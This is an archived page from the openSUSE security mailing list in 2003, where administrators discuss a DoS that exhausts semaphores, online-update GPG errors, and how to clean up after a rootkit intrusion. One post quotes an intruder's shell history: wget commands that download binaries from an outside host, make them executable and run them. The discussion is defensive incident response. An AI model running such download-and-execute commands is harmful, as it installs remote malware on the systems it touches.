November 2003 - openSUSE Security - openSUSE Mailing Lists

Semaphores Please?
by Nicholas Sideris 25 Nov '03

25 Nov '03

Ok, I admit this may be a little out of topic, but it is related a bit with system security. I am using apache 1.3 of SuSE 8.2 distribution for running a web site. Now the system it gets occasionally hacked, with various methods but I want a little help about one specific of them. It seems that somehow the hackers out there, can make my system to run out of semaphores, under a common DOS attack. I am using semaphores also into the site's cgi code, but I suppose that under normal circumastances no more that 20 to 40 are needed for all of the running CGIs. But when they attack my server, it successfully runs out of semaphores, causing both cgi and sometimes apache to malfunction or get completely down. Last night's attempt made that obvious message to be written in apache's error log: semget: No space left on device So what I need, is if I can raise the available number of semaphores, so to be more available for preventing such kind of attacks. Where's the system's semaphore configuration file? Also I may need to raise the number of file descriptors or set 'em to unlimited. How I can do this? Any kind of help would be appriciated. Regards Nicholas

2 1

problems with YOU
by Kai Pfeiffer 25 Nov '03

25 Nov '03

hello, I have a problem with Online Update. If I download the files from the server ftp.suse.com, I get the following message: "Cannot check patch cups-48667 because the GPG key is not installed or is corrupted... SuSE cannot guarantee that the packages were created by SuSE." My question is: How can I check, if I have installed the GPG-key, and if I don't have any key or if I have a corrupted key, how can I restore it. Thanks Kai Pfeiffer

3 2

RE: [suse-security] problems with YOU
by Sturgis, Grant 24 Nov '03

24 Nov '03

I have had many problems with YOU as well as SuSE support trying to get my YOU to work correctly. The answer: fou4s It is infinitely more usable / flexible / manageable than YOU. Plus the author is on this list and is a wonderful resource for this product. He has done a great job with this utility (I don't know him and am not just saying so!). Try it, you will like it! -----Original Message----- From: Kai Pfeiffer [mailto:pfeiffer.kai@gmx.net] Sent: Monday, November 24, 2003 5:40 PM To: suse-security(a)suse.com Subject: [suse-security] problems with YOU hello, I have a problem with Online Update. If I download the files from the server ftp.suse.com, I get the following message: "Cannot check patch cups-48667 because the GPG key is not installed or is corrupted... SuSE cannot guarantee that the packages were created by SuSE." My question is: How can I check, if I have installed the GPG-key, and if I don't have any key or if I have a corrupted key, how can I restore it. Thanks Kai Pfeiffer -- Check the headers for your unsubscription address For additional commands, e-mail: suse-security-help(a)suse.com Security-related bug reports go to security(a)suse.de, not here This electronic message transmission is a PRIVATE communication which contains information which may be confidential or privileged. The information is intended to be for the use of the individual or entity named above. If you are not the intended recipient, please be aware that any disclosure, copying, distribution or use of the contents of this information is prohibited. Please notify the sender of the delivery error by replying to this message, or notify us by telephone (877-633-2436, ext. 0), and then delete it from your system.

1 0

Re: [suse-security] Intrusion
by Juan Erbes 24 Nov '03

24 Nov '03

Mensaje citado por: Togan Muftuoglu <toganm(a)users.sourceforge.net>: > * Antun Balaz; <antun(a)phy.bg.ac.yu> on 24 Nov, 2003 wrote: > > > > > >Dear Togan, > >I install security paches routinely every week. Can you give me more > >details how to check if my server is afftected in any way (I deleted > >content of /tmp directory and applied all measures suggested by Bjorn - > >thanks a lot), i.e. if some files are replaced etc. > > If you have deleted the /tmp that it is difficult to do analysis but not > imposible. Have you tried to check your system with chkrootkit ? > > Doing update every week for me is a long time YMMV. Either use YOU or > fou4suse and let them do the updating patches for you everyday. When > there is a Security anouncement from SuSE immediately apply the patch. > > If I were you to sleep a little bir comfortable I would have reinstalled > the whole machine. > Some years ago, SuSE sugested to move /tmp to /var/tmp, but I have installed the version 8.2 from zero, and later updated to 9.0, and /tmp continues as 2 years ago. ¿What is about this? __________________________________ Registrate desde http://servicios.arnet.com.ar/registracion/registracion.asp?origenid=9 y participá de todos los beneficios del Portal Arnet.

1 0

Re: [suse-security] Intrusion
by Antun Balaz 24 Nov '03

24 Nov '03

Thanks again for helpful information. New question: According to the history file of user whose account was used for intrusion, rootkit was downloaded from www.cappy.biz: cat /etc/issue wget www.cappy.biz/0/*/k chmod +x k ./k wget www.cappy.biz/0/*/noparty chmod +x noparty ./noparty etc. etc. Directory http://www.cappy.biz/0/*/ is very interesting. Can we somehow act against the owner of this site, so that the same thing doesn;t happen to other SuSE users? Best regards, Antun Balaz Institute of Physics, Belgrade Serbia and Montenegro On Mon, 24 Nov 2003, Dieter Kirchner wrote: > Hi, > > Following procedure might work without reinstall: > > - Take a second machine, install a fresh Linux with the same install media > used for the infected > - apply same updates as for infected machine > - use tripwire to generate a new DB on the second machine for all executable > dirs > (/bin /usr/bin /sbin /usr/sbin ...) or better all dirs except /tmp and > spool dirs > - cp tripwire and db to infected machine > - tripwire check > - replace infected binarys > - get chkrootkit > - mount / from second machine with (ro,no_root_squash) > - check infected machine with chkrootkit, bin mounted via nfs, do not use > bins from infected > (install nfsd temporary if not installed yet, or burn on CD and use this) > - replace infected binarys again > - reinstall kernel package on infected > - check init scripts > - reboot > - second run all checks > > U might use "lsattr / |less" first, look for files with flag "a u i" set > (these are 99% infected). > Use chattr to remove the undeletable flags (typical script kiddies use these > flags to prevent root from removing infected files) and replace the bins. > > Repeat the checks several times. After first run you should look into all > dirs, including /dev /tmp and spool dirs. Download and use kstat to check > the kernel. > It helps to use a static kernel without module support, as the this reduces > the number of working rootkits :-) > > This worked for me on a remote controlled machine. It is recomended to sniff > on the network to check > for connections attempts during the procedure. And keep an eye on the fixed > machine for some month. > > Ciao, > Dieter > > >

2 1

RE: [suse-security] Intrusion
by Lovette Burland 24 Nov '03

24 Nov '03

Well if it is a mail server then I presume it's in the demilitarized zone (DMZ). If not then put it in DMZ. and secure all login to the local net via a firewall. -----Original Message----- From: Antun Balaz [mailto:antun@phy.bg.ac.yu] Sent: 24 November 2003 15:38 To: Togan Muftuoglu Cc: suse-security(a)suse.com Subject: Re: [suse-security] Intrusion Unfortunately, I have 100+ users, my server is mail and web server, so it is impossible to just disconnect it and install from scratch. Besides, all security pathes were allready applied, so this will not help me, or I am mistaken? Any other suggestions? Thanks, Antun ------------------------------------------- Antun Balaz http://www.phy.bg.ac.yu/~antun/ Institute of Physics, Belgrade Serbia and Montenegro http://www.phy.bg.ac.yu/ ------------------------------------------- On Mon, 24 Nov 2003, Togan Muftuoglu wrote: > * Antun Balaz; <antun(a)phy.bg.ac.yu> on 24 Nov, 2003 wrote: > > > >Hi to all, > >it seems that I have a serious problem, although I updated my SuSE 8.1 > >server quite recently (all security updates were applied). > > > >I have two questions: > > > >1) What to do right now to prevent any misconduct of my server? > > Immediately disconnect the machine from the Internet > > >2) How to clean up the server? > > Make a clean install from scratch and make sure before putting it back > to the net all patches are applied either use fou4suse or YOU to > automate the process. > > HTH > -- > > Togan Muftuoglu > Unofficial SuSE FAQ Maintainer > http://susefaq.sf.net > > > > -- > Check the headers for your unsubscription address > For additional commands, e-mail: suse-security-help(a)suse.com > Security-related bug reports go to security(a)suse.de, not here > > > -- Check the headers for your unsubscription address For additional commands, e-mail: suse-security-help(a)suse.com Security-related bug reports go to security(a)suse.de, not here _____________________________________________________________________ This message has been checked for all known viruses on behalf of Vivista by MessageLabs. http://www.messagelabs.com or Email: mailsweeper.info(a)vivista.co.uk Vivista formerly Securicor Information Systems for further information http://www.vivista.co.uk ********************************************************************** The information contained in this e-mail message is intended only for the individuals named above. If you are not the intended recipient, you should be aware that any dissemination, distribution, forwarding or other duplication of this communication is strictly prohibited. The views expressed in this e-mail are those of the individual author and not necessarily those of Vivista Limited. Prior to taking any action based upon this e-mail message you should seek appropriate confirmation of its authenticity. If you have received this e-mail in error, please immediately notify the sender by using the e-mail reply facility. ********************************************************************** _____________________________________________________________________ This message has been checked for all known viruses on behalf of Vivista by MessageLabs. http://www.messagelabs.com or Email: mailsweeper.info(a)vivista.co.uk Vivista formerly Securicor Information Systems for further information http://www.vivista.co.uk

1 0

Something strange in /etc/mtab
by webmaster 24 Nov '03

24 Nov '03

Hello List, Please advice me on the following: My SuSE 7.1 /etc/mtab - is /dev/hda3 / ext2 rw 0 0 proc /proc proc rw 0 0 devpts /dev/pts devtps rw,mode=0620,gid=5 0 0 ***I do not remember this line being written by me /dev/hda1 /boot ext2 rw 0 0 Honestly I did look into /etc/mtab a long time ago. I do not remember the original. The box has nothing attached but a keyboard and a monitor. Nmap showed port 1414/tcp ibm-mqseries to be open - and to be closed when nmaping next A nameserver, webserver, sendmail, is running on the box. Do you see some problem here to be worried about? Üdvözlettel | Best Regards Antal Leisen

2 1

The list-unsubscribe address does not work (suse-security)
by Sven Danhall 24 Nov '03

24 Nov '03

The list-unsubscribe address does not work (suse-security) Can I get your attention, please? Please! _________________________________________________________________ Hitta rätt på nätet med MSN Sök http://search.msn.se/

6 5

Suse8.1, smtp-auth with pwcheck
by Stephan Holl 23 Nov '03

23 Nov '03

Dear List, I am trying to set up emtp-auth with postfix and sasl. It seems to me, that there is no way to set this up with the the pwcheck-daemon. btw. I cannot find this daemon on my system. Could anybody bring some light in the darkness?! Thanks -- Stephan Holl GnuPG Key-ID: 11946A09 12:29:24 up 31 min, 1 user, load average: 0.04, 0.12, 0.12

1 0

löschen
by miandoabi 22 Nov '03

22 Nov '03

Bitte meine name aus den liste löschen Mit freundlichen Grüßen miandoabi

3 2